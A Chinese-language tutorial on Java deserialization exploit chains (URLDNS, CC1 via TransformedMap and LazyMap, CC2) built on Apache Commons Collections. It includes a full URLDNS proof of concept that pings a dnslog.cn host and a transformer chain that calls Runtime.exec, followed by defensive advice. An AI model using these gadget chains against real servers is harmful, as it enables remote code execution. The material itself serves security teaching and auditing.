Java反序列化漏洞利用链(CC链)深入教学文档
1. 概述
Java反序列化漏洞是安全领域一个经典且危害巨大的漏洞类型。当程序对用户可控的序列化数据进行反序列化时,如果攻击者能够构造恶意的序列化数据,就有可能触发一系列特定的方法调用链(Gadget Chain),最终实现远程代码执行(RCE)。
Apache Commons Collections库(简称CC库)因其提供了一系列可以修改对象属性的“Transformer”接口和实现类,成为了构造这种利用链的“宝库”。Ysoserial工具集成了多条基于CC库的利用链,分别命名为CC1, CC2, CC3, CC4, CC5, CC6, CC7等。
本文档将详细分析其中最核心和具有代表性的几条链:URLDNS、CC1(TransformedMap链和LazyMap链) 以及 CC2。
2. 前置知识
2.1 Java反序列化机制
- 当一个类实现了
java.io.Serializable接口,它的对象就可以被序列化(转换成字节流)和反序列化(从字节流恢复为对象)。 - 反序列化过程由
ObjectInputStream.readObject()方法主导。 - 关键钩子:如果一个可序列化的类定义了具有特定签名的方法
private void readObject(ObjectInputStream in),那么在反序列化时,readObject方法会被自动调用,而不是仅仅进行默认的字段赋值。这为攻击者提供了执行复杂逻辑的入口点。
2.2 Commons Collections 核心组件
org.apache.commons.collections.Transformer接口:只有一个方法Object transform(Object input)。它的作用是将一个输入对象转换成另一个输出对象。org.apache.commons.collections.functors包:包含多个Transformer的实现类,是构造利用链的“武器零件”:ConstantTransformer:无论输入是什么,总是返回一个预设的常量对象。InvokerTransformer:利用Java反射,可以调用任意对象的任意方法。这是执行命令的核心。ChainedTransformer:将多个Transformer串联起来,前一个的输出作为后一个的输入。
3. URLDNS 链(无依赖探测链)
3.1 链子特点与用途
- 用途:主要用于检测目标是否存在Java反序列化漏洞,通常作为“敲门砖”。
- 特点:
- 不依赖CC库:只使用JDK内置类,通用性极强。
- 无害探测:利用链的最终效果是发起一次DNS查询,无法直接执行命令,但可以证明漏洞存在。
- 无回显:通过外部的DNS日志平台(如dnslog.cn)来接收查询记录,从而确认漏洞。
3.2 技术原理分析
核心思路是寻找一个在反序列化过程中会自动调用 hashCode() 方法的类,并且能够连接到 URL 类的 hashCode 方法。
-
起点:
HashMap.readObject()HashMap在反序列化时,需要将其键值对重新写入。在readObject方法中,会调用hash()方法来计算每个键(Key)的哈希值。hash()方法的实现是(key == null) ? 0 : (h = key.hashCode())。这意味着它会调用我们放入HashMap的Key对象的hashCode()方法。
-
关键跳转:
URL.hashCode()java.net.URL类重写了hashCode方法。在其方法内部,如果hashCode字段为初始值-1,则会调用handler.hashCode(this)。URLStreamHandler.hashCode(URL u)方法中,会调用getHostAddress(URL u)方法,该方法会解析URL的主机名,从而发起DNS查询。
-
构造技巧与问题解决
- 直接构造
HashMap.put(new URL("http://dnslog.cn"), value)会在本地执行put操作时就触发一次DNS查询,造成干扰。 - 解决方案:利用反射,在
put之前临时修改URL对象的hashCode字段为一个非-1的值(如1234)。这样,在put时,由于hashCode不为-1,URL.hashCode()方法会直接返回该值,而不会解析域名。 - 在序列化之前,再通过反射将
hashCode改回-1。这样,在目标服务器反序列化时,hashCode为-1,就会正常触发DNS查询。
- 直接构造
3.3 完整PoC代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 1. 创建要探测的DNS URL
URL url = new URL("http://your-subdomain.dnslog.cn");
// 2. 通过反射获取并修改URL的hashCode字段,避免put时触发DNS
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1234); // 设置为一个非-1的值
// 3. 创建HashMap并将URL作为Key放入
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 1); // 此时put不会触发DNS
// 4. 将hashCode改回-1,确保反序列化时触发
hashCodeField.set(url, -1);
// 5. 序列化对象到文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashMap);
oos.close();
// 6. 模拟反序列化(漏洞触发点)
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject(); // 此时会触发DNS查询
ois.close();
}
}
4. CC1 链(TransformedMap 链)
4.1 核心组件:TransformedMap
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)方法可以包装一个普通的Map,返回一个TransformedMap对象。- 当对该Map进行添加或修改操作时,会触发相应的
transform方法。 - 关键触发点:
put()→transformValue()→valueTransformer.transform(value)setValue()→checkSetValue()→valueTransformer.transform(value)
4.2 寻找反序列化入口:AnnotationInvocationHandler
sun.reflect.annotation.AnnotationInvocationHandler类实现了Serializable接口,并且有私有的readObject方法。- 在其
readObject方法中,有一个循环会遍历memberValues(一个Map对象)的每一项,并调用其setValue方法。for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Object value = memberValue.getValue(); // ... 一些检查 ... // 关键:这里调用了entry的setValue方法! memberValue.setValue(...); } - 如果我们能控制
memberValues为精心构造的TransformedMap,那么memberValue.setValue()实际上会调用TransformedMap从父类继承的setValue方法,最终触发checkSetValue,进而执行我们设定的valueTransformer。
4.3 利用链构造与多态的应用
- 构造Transformer链:使用
ChainedTransformer和InvokerTransformer构造命令执行链。Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); - 包装Map:创建一个Map,并用
TransformedMap.decorate进行包装,传入上述transformerChain作为valueTransformer。 - 创建AnnotationInvocationHandler实例:通过反射实例化
AnnotationInvocationHandler,并将包装好的TransformedMap作为其memberValues参数传入。注意,传入的注解类(如Target.class)必须包含Map中的Key。
多态的关键点:在 readObject 中,memberValue 的类型是 Map.Entry。而我们的 TransformedMap 中的Entry实际上是其父类 AbstractInputCheckedMapDecorator.MapEntry。当调用 entry.setValue() 时,由于多态,执行的是子类 TransformedMap 所关联的父类 MapEntry 的 setValue 方法,该方法内部调用了 this.parent.checkSetValue(value),而 this.parent 正是我们传入的 TransformedMap 对象。这样就成功地将执行流转到了 TransformedMap 的逻辑上。
5. CC1 链(LazyMap 链)
5.1 核心组件:LazyMap
LazyMap的get(Object key)方法会在如果Key不存在于Map中时,使用预设的Transformer来“懒加载”一个value并放入Map。- 触发点:
LazyMap.get(key)→this.factory.transform(key)。
5.2 引入动态代理
- 问题:我们需要在
AnnotationInvocationHandler.readObject中触发LazyMap.get,但readObject方法本身并没有直接调用get。 - 解决方案:利用 Java动态代理。
AnnotationInvocationHandler实现了InvocationHandler接口。- 我们可以创建一个Map的代理对象。当这个代理对象的任何方法被调用时,都会触发其关联的
InvocationHandler的invoke方法。
- 构造流程:
- 创建一个
LazyMap,其factory设置为恶意的ChainedTransformer。 - 通过反射创建一个
AnnotationInvocationHandler实例(handler1),其memberValues是这个LazyMap。 - 使用
Proxy.newProxyInstance创建一个Map的代理对象proxyMap,并将其InvocationHandler设置为handler1。 - 再通过反射创建第二个
AnnotationInvocationHandler实例(handler2),其memberValues是proxyMap。 - 序列化
handler2。
- 创建一个
5.3 链子执行流程
- 目标反序列化
handler2,进入AnnotationInvocationHandler.readObject。 readObject方法中会调用memberValues.entrySet()。这里的memberValues是proxyMap(代理对象)。- 调用
proxyMap.entrySet()会触发handler1.invoke(...)方法。 - 在
handler1.invoke方法中,会判断调用的方法名,并最终调用this.memberValues.get(...)。这里的this.memberValues是我们最初构造的LazyMap。 LazyMap.get(...)被触发,执行恶意的this.factory.transform(key),完成命令执行。
此链比TransformedMap链更通用,因为它不依赖于 setValue 这个特定的操作。
6. CC2 链
6.1 背景与特点
- CC2链是为了在更高版本的JDK(如JDK 8u71之后)中绕过对
AnnotationInvocationHandler的修复而提出的。 - 它使用了
org.apache.commons.collections4.comparators.TransformingComparator类。
6.2 技术原理
- 核心类:
TransformingComparator是一个比较器,它在compare方法中会调用this.transformer.transform(object)。 - 寻找触发点:需要找到一个在反序列化时会调用
compare方法的类。常用的类是java.util.PriorityQueue。PriorityQueue在反序列化时(readObject方法中),会调用heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。
- 构造流程:
- 构造恶意的
TransformingComparator,其transformer设置为InvokerTransformer,用于执行命令。 - 创建一个
PriorityQueue对象,并将其comparator设置为恶意的TransformingComparator。 - 通过反射向队列中添加必要的元素,确保比较操作能正常进行。
- 序列化
PriorityQueue对象。
- 构造恶意的
6.3 简化理解
CC2链的构造相对直接,它在一个类(PriorityQueue)的 readObject 逻辑内就完成了从反序列化到命令执行的整个流程,无需像CC1那样通过动态代理进行复杂的跳转。其核心就是利用队列反序列化时必然进行的排序操作,来触发我们设置的比较器中的 transform 方法。
7. 总结与对比
| 利用链 | 核心触发类 | 关键方法 | 特点与用途 |
|---|---|---|---|
| URLDNS | HashMap |
readObject -> hash() -> URL.hashCode() |
无害探测,仅发起DNS请求,不依赖CC库。 |
| CC1 (TransformedMap) | AnnotationInvocationHandler |
readObject -> Entry.setValue() -> TransformedMap.checkSetValue() |
经典链,利用Map的修改操作触发Transformer。 |
| CC1 (LazyMap) | AnnotationInvocationHandler |
readObject -> 动态代理 -> invoke -> LazyMap.get() |
利用动态代理,更为灵活,是CC1的另一种实现。 |
| CC2 | PriorityQueue |
readObject -> heapify() -> compare() -> TransformingComparator.transform() |
用于绕过高版本JDK限制,逻辑相对直接。 |
8. 防御建议
- 输入校验:对反序列化的数据源进行严格的白名单校验。
- 使用安全替代方案:使用更安全的序列化/反序列化机制,如JSON、Protocol Buffers等。
- 升级库版本:及时升级Commons Collections等第三方库到安全版本(如3.2.2、4.1之后),这些版本禁用了危险的functors。
- 代码层面:
- 避免反序列化不可信数据。
- 在
ObjectInputStream上重写resolveClass方法,进行严格的类白名单过滤。
- 运行时防护:使用Java安全管理器(Security Manager)或第三方RASP方案进行行为监控和拦截。
希望这份详尽的教学文档能帮助您深入理解Java反序列化漏洞的原理和CC利用链的构造技巧。学习这些知识的目的在于更好地进行安全防御和代码审计。